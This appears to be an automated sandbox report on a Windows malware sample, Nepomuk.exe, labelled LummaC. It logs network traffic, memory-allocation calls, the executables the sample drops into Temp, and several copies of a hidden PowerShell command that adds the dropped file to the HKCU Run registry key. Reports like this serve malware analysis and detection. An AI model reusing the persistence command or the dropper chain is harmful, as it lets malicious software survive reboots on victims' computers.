Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_015B0000 NtAllocateVirtualMemory,LoadLibraryA,NtProtectVirtualMemory,NtProtectVirtualMemory,	0_2_015B0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_018D0000 NtAllocateVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,	7_2_018D0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_032C0000 NtAllocateVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,	10_2_032C0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 13_2_012E0000 NtAllocateVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,	13_2_012E0000

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: String function: 03569520 appears 88 times
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: String function: 01568920 appears 88 times
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: String function: 0155A1F0 appears 76 times
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: String function: 0355ADF0 appears 40 times

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6076:120:WilError_03

Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: ypl0SgV/addrselect.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: UCnSf0Mr7N/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: FNxKTCH/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: ypl0SgV/addrselect.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: UCnSf0Mr7N/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: FNxKTCH/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: /stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required fo
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: ypl0SgV/addrselect.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: UCnSf0Mr7N/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: FNxKTCH/addr.go
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	String found in binary or memory: seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative

Source: unknown	Process created: C:\Users\user\Desktop\Nepomuk.exe "C:\Users\user\Desktop\Nepomuk.exe"
Source: C:\Users\user\Desktop\Nepomuk.exe	Process created: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe"
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe"
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe"
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Nepomuk.exe	Process created: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }"	Jump to behavior

Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Nepomuk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_0158774A push edx; iretd	0_2_0158775A
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_0358834A push edx; iretd	0_2_0358835A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_034E7913 push 8BF07D89h; iretd	8_2_034E7918

Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	File created: C:\Users\user\AppData\Local\Temp\NrEXDJiACHo.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Nepomuk.exe	File created: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe			Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run App			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run App			Jump to behavior

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF2380	0_2_00EF2380
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_009522C0	7_2_009522C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_009522C0	10_2_009522C0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Nepomuk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\NrEXDJiACHo.exe

C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h03lqtw1.ber.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iak2lajb.imd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n4vr5s4d.osd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ririhqs0.gx0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u4frtelj.lnc.ps1

